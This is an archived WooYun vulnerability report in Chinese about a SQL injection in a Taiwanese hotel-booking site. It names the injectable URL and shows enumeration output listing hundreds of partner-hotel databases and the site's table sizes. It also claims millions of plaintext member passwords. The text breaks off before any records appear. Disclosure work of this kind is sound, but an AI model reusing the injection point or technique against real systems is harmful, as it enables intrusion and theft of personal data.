台湾某订房网站存在高危SQL注入漏洞（230W的明文账户密码和500+的合作酒店数据库信息）

漏洞概要关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-099311

漏洞标题：台湾某订房网站存在高危SQL注入漏洞（230W的明文账户密码和500+的合作酒店数据库信息）

漏洞作者：路人甲

提交时间：2015-03-03 20:55

修复时间：2015-04-17 20:56

公开时间：2015-04-17 20:56

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签：无

4人收藏收藏
分享漏洞：

漏洞详情

披露状态：

2015-03-03：细节已通知厂商并且等待厂商处理中
2015-03-08：厂商已经确认，细节仅向厂商公开
2015-03-18：细节向核心白帽子及相关领域专家公开
2015-03-28：细节向普通白帽子公开
2015-04-07：细节向实习白帽子公开
2015-04-17：细节向公众公开

简要描述：

230W+会员的明文账户密码、身份证、手机号和地址信息
500+的合作酒店数据库信息

详细说明：

http://www.ezhotel.com.tw/hotelwestsites.php?areano=0-33 注入点

漏洞证明：

1.总共928个数据库

available databases [929]:
[*] 1967TRAVEL
[*] 21RESORT
[*] 520TW
[*] 8FANKENG
[*] _LOG_PD_0
[*] A222
[*] ABBA
[*] abc
[*] ACECLUBHOUSE
[*] AGENT_CHANA
[*] AGILITE
[*] AGORAGDN
[*] AIRBUS
[*] AIRLINEINN
[*] ALEEXVILLA
[*] ALISHAN
[*] ALISHANHOUSE
[*] ALIVERESORT
[*] AMAINMOTEL
[*] AMANDA
[*] AMBA
[*] AMBASSADOR
[*] AMBH
[*] AMBIENCE
[*] ANHWA
[*] ANPIN72
[*] ANTONG
[*] APPLEDORE
[*] ARAUCARIA
[*] ARMANI
[*] ARMANI2
[*] ART_MOTEL
[*] ARTSPA
[*] ASPIRERESORT
[*] ASTAR
[*] AT_BOUTIQUE_HOTEL
[*] ATAMI
[*] AYAWAN
[*] AZURE
[*] AZUREHOTEL
[*] BACKPACKERSTW
[*] BACKPACKERSTW2
[*] BAIAN
[*] BALIHOTEL
[*] BALIMOTEL
[*] BAOLAI
[*] BARONHOTEL
[*] BAYFOREST
[*] BB
[*] bb_ch_taichung
[*] bb_chahsi
[*] bb_chashi_cancel
[*] bb_chinatrust
[*] bb_chinatrust_cancel
[*] bb_dao
[*] bb_hoy_cancel
[*] bb_hoya
[*] BB_TEST
[*] bb_westlake
[*] bb_wulin_cancel
[*] BBCHOTEL
[*] BBHOTEL
[*] BEACONHOTEL
[*] BEAUMAX
[*] BEAUTY
[*] BEAUTYHOTEL
[*] BEAUTYSPA
[*] BELLEVISTA
[*] BELLEVUE
[*] BENTLEYPARK
[*] BESTHOTELTW
[*] BICYCLEINN
[*] BIGEYE
[*] bin
[*] BINHAI
[*] BIRDS
[*] BIRDY
[*] BITAN
[*] BLUELAGOON
[*] BOSS
[*] BRHOTEL
[*] BROTHER
[*] BTSC
[*] BUGTWO
[*] BURANO
[*] bus
[*] BUSINESSCENTER
[*] BYEYER
[*] CAESAR
[*] CALLME
[*] CAMBRIDGE
[*] CAPITAL
[*] CAPITALHOTEL
[*] CARLTON
[*] CASAMIA
[*] CATCHPLAY
[*] CDHOTEL
[*] CEDARWOOD
[*] CEOUR
[*] CHAMPS
[*] CHECKINN
[*] CHENGPAO
[*] CHIEFVILLA
[*] CHINATRUST
[*] CHINATRUST_TC
[*] CHINGSHENG
[*] CHINGSHEUI
[*] CHINHUA
[*] CHINSHI
[*] CHKKM
[*] CHUANGTANG
[*] chuangtang
[*] CHUANGTANGHOTEL
[*] CHULU
[*] CHUNAN
[*] CHUNJING
[*] CHUNTENG
[*] CHUTO
[*] CINEMA7
[*] CIRRUSSPA
[*] CITIZEN
[*] CITYHOTEL
[*] CITYLAKE
[*] CITYRESORT
[*] CITYSUITES
[*] CITYSUITES_AIR
[*] CLASSIC
[*] CLOUDHOTEL
[*] CLOUDSPRING
[*] CLOUDVILLA
[*] CLR
[*] CLR2
[*] COSE
[*] COSMOS
[*] CROWN
[*] CROWNHOTEL
[*] CRUNH
[*] CRYSTAL
[*] CRYSTALFARM
[*] CRYSTALHOTEL
[*] CYH
[*] DABANGAN
[*] DAHSING
[*] DAHU
[*] DAILEI
[*] DALUKUANLAND
[*] DAYHOTEL
[*] DEBONAIR
[*] DELIGHT
[*] DELLAGO
[*] DEMO
[*] DEMO_ENG
[*] DEMO_GB
[*] DEMO_SOGOPRO
[*] DEMO_TICKET
[*] demo_utf8
[*] DEMOBANDB
[*] DHMC
[*] DHMC2
[*] DHMC_201305
[*] DHMC_DUMMY
[*] DHMC_NEW
[*] DHMC_OLD
[*] DHMC_SOGOPRO
[*] DI
[*] DISCOVERY
[*] DOLAMANCO
[*] DOLPHIN
[*] done
[*] DONGHWA
[*] DONGHWAHOTEL
[*] DONGTAIRSPA
[*] DOWNHOME
[*] DRAGONINN
[*] DRAGONNANTOU
[*] DRAGONVALLEY
[*] DREAMTOWN
[*] DREAMVILLA
[*] DRYADMOTEL
[*] DUKEHOTEL
[*] DYNASTY
[*] EADOR
[*] EASTERN
[*] EASTERNBEAUTY
[*] EASTHOTEL
[*] EASTSPA
[*] EASTSTARHOTEL
[*] ECOASTSTAR
[*] ECOFARM
[*] EDAROYAL
[*] EDASKYLARK
[*] EDENRESORTS
[*] EHOTEL
[*] EHOUSE
[*] EHRHOTEL
[*] EINHAN
[*] ELAN
[*] ELEGANCE
[*] ELITECONCEPT
[*] ELITESPA
[*] ELOVERSMOTEL
[*] ELPUERTO
[*] EMail
[*] ENGLANDCASTLE
[*] ENHAI
[*] ENSS
[*] ESHUAN
[*] ETAIWAN
[*] ETAIWANWEB
[*] ETICKET
[*] EVAAIR
[*] EVERGREEN_BK
[*] EVERGREEN_JS
[*] EVERGREEN_KL
[*] EVERGREEN_PG
[*] EVERGREEN_PS
[*] EVERGREEN_TC
[*] EVERGREEN_TN
[*] EVERGREEN_TP
[*] EVERLUCK_HOTEL
[*] EVERSPRING
[*] EZBUS
[*] EZHOTEL
[*] EZSALE
[*] EZTICKET
[*] FAMOUS
[*] FAREASTFE
[*] FARM
[*] FASHIONHOTSPRING
[*] FDLHOTEL
[*] FEA_AFA
[*] FENCHIHU
[*] FENGTYAN
[*] FENNEL
[*] FFH
[*] FHOTEL
[*] FHOTELS
[*] FHOTELSW
[*] FINESSE
[*] FIRST
[*] FIRSTHOTELTAIPEI
[*] FISHER
[*] FISHHOTEL
[*] FLEURLIS
[*] FLOWERYOUNG
[*] FORTE
[*] FORTETICKET
[*] FORTUNA
[*] FORTUNE
[*] FOURPOINTS
[*] FREECLOUD
[*] FRESHFIELDS
[*] FUCHIA
[*] FUHOTEL
[*] FUJAI
[*] FUKUOKA
[*] FULIRESORT
[*] FULLERTON
[*] FULLMOONSPA
[*] FUSHIN
[*] FUWAN
[*] FUWARD
[*] FUWARE
[*] FXHOTELS
[*] GALAHOTEL
[*] GANSHANRMA
[*] GARDENHOTEL
[*] GARDENVILLA
[*] GEAR
[*] GINKGO
[*] GLORY
[*] GLVILLA
[*] GOGO
[*] GOLDENAGE
[*] GOLDENHOTEL
[*] GOLDENPALACE
[*] good
[*] GOODGROUND
[*] GOODGROUNDTAINAN
[*] GORAKADAN
[*] GOSHENHOTEL
[*] GOYA
[*] GPH
[*] GRACE
[*] GRACEFUL
[*] GRACEGARDEN
[*] GRAND_NALUWAN
[*] GRANDFORMOSA_TP
[*] GRANDFORWARD
[*] GRANDHILAI
[*] GRANDVIEW
[*] GREEN_HOME
[*] GREENCITY
[*] GREENHOTEL
[*] GVRB
[*] GXTL
[*] H9600123
[*] HALARCINEMA
[*] HALARLIFE
[*] HALLYARD
[*] HANASEI
[*] HANDSOMEHOTEL
[*] HAPPY2006
[*] HAPPYBUSINESS
[*] HAPPYHOTEL
[*] HAPPYIN
[*] HAPPYPANDA
[*] HARAZURU
[*] HARMONYHOTEL
[*] HAUTRHIN
[*] HBJHOTEL
[*] HCHIBISCUS
[*] HCHIBISCUS_TEST
[*] HCSHOTEL
[*] HDPALACE
[*] HEFONG
[*] HEFONG_CHAHSI
[*] HEFONGVILLA
[*] HERATONTAIPEI
[*] HERHUAN
[*] HHOTEL
[*] HIEASTTAIPEI
[*] HIGHNESS
[*] HIHORIZON
[*] HLBNB
[*] HLFAIRYTALE
[*] HLHOTEL
[*] HOFONG
[*] HOGASHU
[*] HOKET
[*] HOLLAND
[*] HOMEHOTEL
[*] HONDOHOTEL
[*] HONDOW
[*] HONEYMOON
[*] HORNGYI
[*] HOSTON
[*] HOT
[*] HOTELBANK
[*] HOTELBANK2
[*] HOTELBANK_BK
[*] HOTELBANK_DEMO
[*] HOTELCHILDHOOD
[*] HOTELCOLOR
[*] HOTELCOZZI
[*] HOTELDAY
[*] HOTELHG
[*] HOTELOCEAN
[*] HOTELPURITY
[*] HOTELRICH
[*] HOTELRIVERVIEW
[*] HOTELSENSE
[*] HOTELSUKIMI
[*] HOTELSUNSHINE
[*] HOTELSUNSHINE2
[*] HOTELWO
[*] HOTHOTEL
[*] HOTSPRING
[*] HOTSPRINGWORLD
[*] HOWARD
[*] HOWARD_old
[*] HOWARDCM
[*] HOWARDKT
[*] HOWARDTPE
[*] HOYA
[*] HRESORT
[*] HSUANTSUNG
[*] HTL
[*] HUAHOU
[*] HUALIEN_NALUWAN
[*] HUALIEN_NARUWAN
[*] HUASHINTAINAN
[*] HUATONG
[*] HUAXIN
[*] HUAYANG
[*] HUSHUIANLAVILLA
[*] HVILLAMOTEL
[*] HWADU
[*] HWAGER
[*] HWATAI
[*] IAN
[*] IDINN
[*] IHOWA
[*] IMAGE
[*] IMAGE_GOLD
[*] IMARSHOTEL
[*] IMPERIAL
[*] information_schema
[*] INHOUSE
[*] INN88
[*] INNCUBE
[*] INNSPRING
[*] INONE
[*] INSKYHOTEL
[*] INYOUNG
[*] IPACKER
[*] IRESORT
[*] JADEHOTEL
[*] JENDOW
[*] JIAHUA
[*] JIHLIH
[*] JIHOTEL
[*] JINDO
[*] JINGAI
[*] JINGAN
[*] JINGLU
[*] JINHUA
[*] JINPINHOTEL
[*] JIUNING
[*] JLHOTEL
[*] JOAN
[*] JOYHOTEL
[*] JRH
[*] JSMOTEL
[*] JUNE
[*] JUNYUE
[*] JUSTAIWAN
[*] JUSTWIN
[*] JYQ
[*] KAGAYA
[*] KANEBO
[*] KANGLEHOTEL
[*] KANGNINGLIFE
[*] KATHERINE
[*] KAVALAN
[*] KDM
[*] KECHIHSUAN
[*] KELLYHOTEL
[*] KENIT
[*] KENTINGTON
[*] KETON
[*] KEVIN66
[*] KGARDENPL
[*] KHHHOTEL
[*] KINGCHENG
[*] KINGDOM
[*] KINGKINGS
[*] KINGMAMMON
[*] KINGNATIONALHOTEL
[*] KINGS
[*] KINGSETHOTEL
[*] KINGSPA
[*] KIREIHOTEL
[*] KIYATT
[*] KLHOTEL
[*] KONG
[*] KTCHATEAU
[*] KTCHATEAU_OLD
[*] KTHOLIDAY
[*] KTHOTEL
[*] KTLIJING
[*] KUKUAN
[*] KUNGKUAN
[*] KUNTAICHUNG
[*] KURHAUS
[*] KUVA
[*] KYOTO
[*] LADYHOTEL
[*] LAILAI
[*] LAKEHOTEL
[*] LAKESHORE
[*] LAKESHORE_HL
[*] LAKESHORE_M1
[*] LALASAN
[*] LANDIS
[*] LANDISLO
[*] LANDISTPE
[*] LANDMARKHOTEL
[*] LANYANG
[*] LAPING
[*] LAPLAZA
[*] LARCHOTEL
[*] LASEARESORT
[*] LAVIEGROUP
[*] LAVILLA
[*] LEADER
[*] LEES
[*] LEMERIDIEN
[*] LEMIDI
[*] LEOFOO
[*] LEOFOOGUANSHI
[*] LEOFOOHOTEL
[*] LEOFOORESIDENCES
[*] LEOFOORESORT
[*] LESCHAMPS
[*] LESHOTEL
[*] LEVILLAS
[*] LI_CHIH
[*] LIDUO
[*] LIDUOBESTHOTEL
[*] LIENFOOK
[*] LINCOLNHOTEL
[*] LINDEN
[*] LINDEN_HP
[*] LINDEN_KH
[*] LINKWORLD
[*] LIONHOTEL
[*] LISHIN
[*] LISHIUAN
[*] LITI
[*] LIUHYANG
[*] LIVINGWATER
[*] LIWU
[*] LIZHOTEL
[*] LMRESORT
[*] LOFTHOTEL
[*] LOHONEKA
[*] LONGSTAYHOTEL
[*] LONGVIEW
[*] LONGVIEWHOTEL
[*] LOTTY
[*] LOTUSHOTEL
[*] LOTUSSPA
[*] LOTUSVILLA
[*] LOVE1028
[*] LOVESPRING
[*] LSHOTEL
[*] LTCITY
[*] MABHOTEL
[*] MADISONTAIPEI
[*] MALDIVES
[*] MANBO
[*] MANGO
[*] MAPLELANDIS
[*] MARLINHOTEL
[*] MARSHAL
[*] MATSUNI
[*] MAYLIN
[*] MAZALU
[*] MEADOWHOTEL
[*] MEIHOTEL
[*] MELODY
[*] MELODYVILLA151
[*] METRO
[*] METROPOLIS
[*] METROPOLITAN
[*] MFWHOTEL
[*] MIFE
[*] MINGAO
[*] MINGGING
[*] MINGLU
[*] MINGSHAN
[*] MINGSHUO
[*] MINMEN
[*] MIT30
[*] MIYIHOTEL
[*] MIZI
[*] MMMVIEW
[*] MONARCH
[*] MONGFUN
[*] MOON_RIVER
[*] MOONGARDEN
[*] MOONVILLA
[*] MOROCCAN
[*] MOUNTAINSTAR
[*] MOVIEMOTEL
[*] MRTHOTEL
[*] MSPA
[*] MSSMOTEL
[*] MSYHOTEL
[*] MUCHA
[*] MUDANWANVILLA
[*] MULANTOP1
[*] MYRESORT
[*] MYSPA
[*] mysql
[*] mysqltest
[*] NANBAO
[*] NANRENHU
[*] NANTOUGARDEN
[*] NARUWAN
[*] NATIONAL
[*] NCZNHOTEL
[*] NEWCALIFORNIA
[*] NEWHUSHUIAN
[*] NEWLIFE
[*] NICEPLAZA
[*] NIKAIDO
[*] NONGANHOTEL
[*] NTPHOTEL
[*] OCEAN
[*] OCEANHOTEL
[*] OCEANVIEW
[*] OHYAMOTEL
[*] OKHILL
[*] OLA
[*] OLLIERE
[*] OLYMPICHOTEL
[*] ONECHUNG
[*] ONERESORTS
[*] ONESTAR
[*] ONESTARSS
[*] ONESTARTP
[*] ooxx
[*] ORIENTALHOTEL
[*] OT
[*] OURHOUSE
[*] PACIFICHOTEL
[*] PACIFICLIFE_SPA
[*] PALMERHOTEL
[*] PALMLAKES
[*] PAPAGO
[*] PAPAGORESORT
[*] PAPAGORESORT_SP
[*] PAPAWAQA
[*] PAPERSUN
[*] PARIS
[*] PARISHOTEL
[*] PARISVILLA
[*] PARKCTHOTEL
[*] PARKTAIPEI
[*] PARKVIEW
[*] PEACH
[*] PEIKUAN
[*] PENNYHOUSE
[*] PESCADORES
[*] PGS_MOTEL
[*] PHAQUARIUM
[*] PHOENIX
[*] PKCV
[*] PLATFORM
[*] PLCRESORT
[*] PLCRESORT_WEB
[*] PLENTIFUL
[*] POLOTRAVEL
[*] POWAHOTEL
[*] PRINCEHOTEL
[*] PUYISY
[*] QUALITYINN
[*] QUEENAROYAL
[*] RAGUESTHOUSE
[*] RAINBOW
[*] RAINBOWHOTEL
[*] RBVILLAS
[*] REDIN
[*] REDLANTERN
[*] REGAL
[*] REGALE
[*] REGALEES
[*] RESORT
[*] RFHOTEL
[*] RFPRETTY
[*] RHOTEL
[*] RICESPA
[*] RICHFREEDOM
[*] RIVER_RESORT
[*] RIVERHOTEL
[*] RIVERSIDE
[*] RIVERSIDEHOTEL
[*] RIVERSIDERESORT
[*] RMATAIWAN
[*] RMFH
[*] RMH
[*] ROSEHOTEL
[*] ROSEMOTEL
[*] ROSERYHOTEL
[*] ROYAL_CHAHSI
[*] ROYAL_CHIHPEN
[*] ROYAL_HC
[*] ROYAL_INN
[*] ROYALBEST
[*] ROYALBIZ
[*] ROYALCASTLE
[*] ROYALCHIAYI
[*] ROYALSEA
[*] ROYALSEASONS
[*] ROYALSPA
[*] ROYALTPE
[*] RRHOTEL
[*] RSINN
[*] RSLHOTEL
[*] RSR
[*] RUISHI_M
[*] RUISHI_N
[*] RUISHI_S
[*] SAAJUST
[*] SAKURA
[*] SANHOCE
[*] SANPO
[*] SANTAI
[*] SANWAN
[*] SANWANT
[*] SANYON
[*] SAUALKEH
[*] SAURA
[*] SDHOTEL
[*] SEAGAIA
[*] SEALIFE
[*] SEASBAY
[*] SEASONS
[*] SEATTE
[*] SECRET_CONFINES
[*] SEES
[*] SEHOTEL
[*] SERVICEAPARTMENT
[*] SFHOTEL
[*] SHANDORI
[*] SHANGHAI
[*] SHANGRI
[*] SHANGRILA
[*] SHANGRILAS
[*] SHANGRIRA
[*] SHANTE
[*] SHBH
[*] SHEIPA
[*] SHERMUH
[*] SHERWOOD
[*] SHHEIGHT
[*] SHINEYOU
[*] SHINKANSEN
[*] SHINSHIN
[*] SHINYUAN
[*] SHIUNG
[*] SHIUNGHOTEL
[*] SILKEN
[*] SILKSPLACEYILAN
[*] SINCERES
[*] SINDA
[*] SINDAHOTEL
[*] SINO
[*] SIRACUSA
[*] SKYLIFE
[*] SKYLIFESPRING
[*] SKYLINEHOTELS
[*] SKYNO1
[*] SLHOTEL
[*] SLSVILLA
[*] SLVHOTEL
[*] SMARTCUE
[*] SMLH
[*] SMOKEYJOES
[*] SOHOMOTEL
[*] SOLASRESORT
[*] SONGBO
[*] SOUTHERN_G
[*] SPA33
[*] SPA_HOTEL
[*] SPARKLE
[*] SPART
[*] SPARTY
[*] SPASPA
[*] SPLENDOR
[*] SPRING
[*] SPRINGBREEZE
[*] SPRINGHILL
[*] SPRINGPARK
[*] SPRINGRESORT
[*] SPRINGSPA
[*] SPRINGVILLA
[*] SSG787
[*] SSS988
[*] STARSHOTEL
[*] STARTRAVEL
[*] STARVILLA
[*] STHOTEL
[*] STORYBNB
[*] STREETCORNER
[*] SUAO
[*] SUITETPE
[*] SUNHOT
[*] SUNLINKSEA
[*] SUNMOONLAKE
[*] SUNMOONLIGHT
[*] SUNNY
[*] SUNPING
[*] SUNRISE
[*] SUNRISE_HUALIEN
[*] SUNSHINE
[*] SUNSHINE_VILLA
[*] SUNSHINEHOTEL
[*] SUNSPRING
[*] SUNSWEET
[*] SVILLA
[*] SVRESORT
[*] SWEETHOME
[*] SWEETME
[*] T_FORESTRAILWAY
[*] TAICHUNGPLAZA
[*] TAIPEICITIZEN
[*] TAIPEIGARDEN
[*] TAIPEIROYAL
[*] TAIPING
[*] TAIPUNGSUITES
[*] TAISHINU
[*] TAITUNG
[*] TAIWAN
[*] TALEE
[*] TANGCHYUAN
[*] TANGNO
[*] TANGYUE
[*] TAOBAO
[*] TAROKO
[*] TAROKO_HOTEL
[*] TAUTAU
[*] TAYIH
[*] TCCH
[*] TCFARM
[*] TCHHOTEL
[*] TCRS
[*] TCSHANGRILA
[*] TEA
[*] TEMPUS
[*] TENLU
[*] TEST
[*] test
[*] TEST_LANDIS
[*] THANGD
[*] THEADAGIO
[*] THECRYSTAL
[*] THEGAIN
[*] THEGALERIEHOTEL
[*] THEMOONHOTEL
[*] THEMUDAN
[*] THESPLENDORKHH
[*] THEWENWAN
[*] TIANLONG
[*] TICKETBANK
[*] TICKETBANK_CHB_SH
[*] TICKETBANK_DEMO
[*] TICKETBANK_HWATAI
[*] TICKETBANK_PANSHIN
[*] TICKETBANK_TAISHIN
[*] TICKETBANK_TC
[*] TICKETBANK_UBOT
[*] TIENLAI
[*] TILUN
[*] TINGLUNG
[*] TLHOLIDAY
[*] TLHOTEL
[*] tmp
[*] TNCHATEAU
[*] TOPPLAZA
[*] TOPROYAL
[*] TPCAESARPARK
[*] TRAINING
[*] TRANS_BELLEVISTA
[*] TRAVEL1111
[*] TRAVEL889
[*] TRAVELER
[*] TRAVELHOME
[*] TRAVELMOTEL
[*] TRAVELOCITY
[*] TRAVELWEB
[*] TREEHOUSE
[*] TSAOLING
[*] TSAOLINGHOTEL
[*] TSAULING
[*] TSUBAKI
[*] TUSCANY
[*] TW616
[*] TWEM
[*] TYGC
[*] TYQ
[*] TYYD
[*] UFDNHOTEL
[*] UHOTEL
[*] UNABABY
[*] UNIQUEHOLIDAY
[*] UNITED
[*] urania
[*] URTRAVELLER
[*] URTRIP
[*] USTAY
[*] VHOTEL
[*] VICTORIA
[*] VILLA393
[*] VILLA_SPA
[*] VIOLETBAY
[*] VIPHOTEL
[*] VIPSPA
[*] W5BESTHOTEL
[*] W9612888
[*] WANGFU
[*] WANLI
[*] WATERMARK
[*] WECAN
[*] WEISENHOUSE
[*] WELCOME
[*] WELFARE
[*] WENPIN
[*] WESTGATE
[*] WESTIN
[*] WESTLAKE
[*] WHRESORT
[*] WINDSORTAIWAN
[*] WOOFU
[*] WTHCLUB
[*] WULAISPRING
[*] WWHOTEL
[*] WWW
[*] WZHOTEL
[*] XIAFEI
[*] XIMEN
[*] YAMAKAWA
[*] YANOLD
[*] YAWAN
[*] YEARS
[*] YEN
[*] YENJIM
[*] YENTAI
[*] YESMOTEL
[*] YESO
[*] YEZE
[*] YEZE_C
[*] YEZE_M
[*] YINSHERB
[*] YIPINYUAN
[*] YIYUAN
[*] YOAI
[*] YOHO
[*] YOOUSHAN
[*] YORKER
[*] YORKTS
[*] YSOARLAN
[*] YSTICKET
[*] YUANTANG
[*] YUCHENO
[*] YUEYA
[*] YUHAO
[*] YUHCHYR
[*] YUHTARNG
[*] YUHTONG
[*] YUNDENG
[*] YUNHSIEN
[*] YUNOYADO
[*] ZENDASUITES
[*] ZENINN
[*] ZKHOTEL
[*] ZUSIN

2.通过EZHOTEL泄露大量敏感信息

Database: EZHOTEL
+---------------------------------+---------+
| Table                           | Entries |
+---------------------------------+---------+
| ClickCountWeb_2008              | 14113477 |
| API_Connect                     | 13420770 |
| ClickCountWeb                   | 10409961 |
| ClickCountWeb_2009              | 7390402 |
| Login                           | 6935573 |
| TIP_EXEC                        | 2338585 |
| MemberLoginLog                  | 2330533 |
| Ticket_API_Log                  | 2200926 |
| TBL_Log                         | 1206330 |
| SEOInfo                         | 814398  |
| B2B2C_ClickCount                | 646574  |
| weather                         | 409148  |
| FN_OrderInfo                    | 304788  |
| MultiPromotionPrice             | 173571  |
| Access_Session                  | 158162  |
| PlatForm_AD_TimesReport         | 129699  |
| EAN_Region                      | 124125  |
| PlatForm_AD_TimesReport_2010_03 | 116936  |
| MultiPromotionRoomQty           | 107043  |
| IPDatabase                      | 78921   |
| PKI_Use_Info                    | 72545   |
| b2b2c_orderinfo                 | 69746   |
| E_InvoiceData                   | 52620   |
| Sure_News_SendMailLog           | 52390   |
| FN_OrderInfo_Cancel             | 34134   |
| PlatForm_Count                  | 32669   |
| b2p_user_log                    | 31322   |
| EZHotelInfo1_bk                 | 29890   |
| AcerSN1                         | 28002   |
| Journal                         | 23063   |
| IbonGetTicket                   | 21872   |
| ezHotel                         | 20944   |
| WorkSheet                       | 19712   |
| b2p_orderinfo                   | 18687   |
| HotelOrderListSSL               | 16041   |
| BulletinMail                    | 16028   |
| TIP_Product                     | 13486   |
| b2p_user_access_session         | 13383   |
| TRAVEL_TK_OrderInfoDetail       | 11853   |
| EAN_HotelInfo                   | 11612   |
| AcerSN2                         | 10208   |
| WEB_RANK                        | 7481    |
| b2b2c_orderinfo_waiting         | 6010    |
| TrustMall_Coupon                | 5956    |
| test_duncan                     | 5753    |
| TRAVEL_TK_OrderInfo             | 5699    |
| AccessInfo                      | 5384    |
| DiscountCount                   | 4797    |
| MultiOrderInfoC                 | 4661    |
| MIS_Contact                     | 4622    |
| MultiOrderInfoB                 | 4588    |
| CustInfo                        | 4551    |
| ExchangeInfo                    | 3439    |
| B2A_Agent_Session               | 3215    |
| FN_OrderInfo_TicketGo           | 3011    |
| HotelContract_Detail            | 2841    |
| Mail_Question_SendLog           | 2622    |
| FN_OrderInfo_B2B2C              | 2601    |
| MIS_Contract                    | 2457    |
| MultiCancelSet                  | 2358    |
| TaiwanPass                      | 2335    |
| MultiOrderInfo                  | 2332    |
| MultiCardInfo                   | 2328    |
| MultiINVInfo                    | 2328    |
| FN_OrderInfo_Shopping           | 2151    |
| ClickCountIP_black              | 2125    |
| EZHotelInfo                     | 2100    |
| EZHotelInfo1                    | 1954    |
| ADInfo                          | 1910    |
| FN_OrderInfo_Other              | 1900    |
| TrustMall_LabarPlayInfo         | 1888    |
| Address                         | 1831    |
| B2A_CompanyInfo                 | 1788    |
| Address_Detail                  | 1768    |
| B2A_SendMailLog                 | 1570    |
| EZHotelInfo3                    | 1531    |
| GrouponCode                     | 1500    |
| MIS_Company                     | 1428    |
| Msg_CustSysResponse             | 1414    |
| Channel_Relation_RoomType       | 1369    |
| Surehigh_Message                | 1297    |
| MultiPromotionB                 | 1223    |
| HotelContract                   | 1117    |
| PlatForm_AD_Info                | 1113    |
| HotelIntro                      | 1064    |
| b2p_layout_data                 | 998     |
| CountryCode                     | 919     |
| Msg_SystemNoticeToHotel         | 909     |
| HotelStatus                     | 854     |
| MRTNearHotel                    | 854     |
| HotelKeyLoc                     | 826     |
| ThemePromotionDetail            | 767     |
| b2p_user_access                 | 718     |
| HotelKeyInfo                    | 694     |
| b2p_hotel_contact               | 673     |
| B2B2C_AgentInfo                 | 665     |
| Address_Street                  | 650     |
| MultiHotelOrderListSSL          | 642     |
| MultiPromotion                  | 629     |
| DHMC_Amount_Adjust              | 582     |
| B2A_AgentInfo                   | 556     |
| FN_OrderInfo_BBCTK              | 547     |
| bd_order_detail                 | 543     |
| FN_OrderInfo_TC                 | 496     |
| CustServContent                 | 462     |
| HotelFactory                    | 434     |
| TWHotel_Relation_RoomType       | 433     |
| Paymenttype_Response            | 385     |
| EpaperSubLog                    | 383     |
| Address_City                    | 376     |
| PKI_Info                        | 374     |
| AdminInfo                       | 339     |
| Channel_Relation_Hotel          | 331     |
| Channel_Relation_On             | 326     |
| bd_menu                         | 319     |
| AdminInfo_Detail                | 317     |
| FN_OrderInfo_B2B2CTC            | 314     |
| Web_UserCount                   | 302     |
| WorkSheetInfo                   | 289     |
| Access_Sub                      | 276     |
| BulletinInfo                    | 255     |
| HotelLocLang                    | 252     |
| Country_Code                    | 248     |
| EZCustInfo                      | 245     |
| CustServMsg                     | 233     |
| EZHotel_Question                | 229     |
| FN_OrderInfo_TicketGo_Cancel    | 229     |
| b2p_layout_sub                  | 226     |
| CountryInfo                     | 218     |
| bd_order                        | 192     |
| Mail_Question_Waiting_SendLog   | 192     |
| AgodaPrice                      | 185     |
| AccessSub                       | 184     |
| weather_desc                    | 181     |
| WorkSheet_PMS                   | 180     |
| BBC_Hotel_On                    | 168     |
| MIS_Type                        | 163     |
| BirthGreeting                   | 158     |
| Access_Main                     | 154     |
| weather_detail                  | 147     |
| TWHotel_Relation_OrderInfo      | 145     |
| Address_Area                    | 135     |
| Msg_SystemNotice                | 135     |
| Promotion_To_Coupon             | 122     |
| TWHotel_Relation                | 118     |
| HotelLoc1                       | 116     |
| HotelLoc                        | 115     |
| HotelLoc3                       | 115     |
| B2A_AgentInfoB                  | 106     |
| GDS_RoomInfo                    | 103     |
| UpdateOrderInfoLog              | 103     |
| FB_PageInfo                     | 101     |
| MultiOrderInfoMapping           | 99      |
| TaiwanGo_Collections            | 88      |
| taipeifood                      | 83      |
| AIR_Route                       | 82      |
| b2p_user                        | 79      |
| AIR_Batch                       | 77      |
| HotelFacilities                 | 66      |
| MultiPromotionGroup             | 63      |
| bd_type                         | 59      |
| THSR_TicketPrice                | 56      |
| EventAttendEmail                | 55      |
| FB_UserInfo                     | 55      |
| RoomFacilities                  | 54      |
| rate_currinfo                   | 53      |
| Schedule                        | 53      |
| b2p_layout_main                 | 52      |
| GDS_HotelInfo                   | 51      |
| simple_email                    | 51      |
| ThemeProductDetail              | 51      |
| ClickCountIP                    | 50      |
| FN_OrderInfo_Shopping_Cancel    | 50      |
| DeleteFNOrderInfoLog            | 48      |
| Access_Title2                   | 44      |
| Department                      | 42      |
| Sure_News                       | 42      |
| Surehigh_News                   | 42      |
| HotelIntroIndex                 | 39      |
| Sure_News_Detail                | 37      |
| Paymenttype_Detail              | 36      |
| FN_OrderInfo_BBCTK_Cancel       | 35      |
| Multi_DB_Relation               | 35      |
| ThemePromotion                  | 35      |
| bd_shop                         | 33      |
| weather_loc                     | 28      |
| Address_State                   | 26      |
| E_InvoiceNumber                 | 26      |
| TrustMall_LabarGiftLog          | 25      |
| AccessMain                      | 24      |
| bd_action                       | 24      |
| FB_PublishInfo                  | 24      |
| HotelHot                        | 23      |
| b2p_user_group                  | 19      |
| Surehigh_Files                  | 19      |
| WorkSheet_Request_Type          | 19      |
| AccessSub_Extra_Set             | 16      |
| E_InvoicePrize                  | 16      |
| b2p_menu_sub                    | 15      |
| HotelType                       | 15      |
| HotelTypeLang                   | 15      |
| FB_PageNews                     | 13      |
| rate_exchange                   | 13      |
| Surehigh_Education              | 12      |
| Access_Title1                   | 11      |
| DataBaseRelationShip            | 10      |
| b2p_menu_main                   | 8       |
| B2A_MsgPost                     | 7       |
| HotLink                         | 7       |
| MultiPromotionAddon             | 7       |
| HotelType1                      | 6       |
| TrustMall_LabarGiftInfo         | 6       |
| Address_State_Class             | 5       |
| B2B2C_ADInfo_Detail             | 5       |
| b2p_company                     | 5       |
| Address_City_Class              | 4       |
| AIR_Airline                     | 4       |
| CharSet                         | 4       |
| CheckTotalPrice                 | 4       |
| Address_Area_Class              | 3       |
| Address_Street_Class            | 3       |
| B2B2C_ADInfo                    | 3       |
| Msg_SystemNoticeType            | 3       |
| MailingList_Confirmation        | 2       |
| MemBonusInfo                    | 2       |
| NET_Price                       | 1       |
| PromotionEvent                  | 1       |
| Report_Relation                 | 1       |
| RoomNotification                | 1       |
| TaiwanGo_Cases                  | 1       |
+---------------------------------+---------+

看MemberLoginLog发现233W的账户信息都是明文密码：

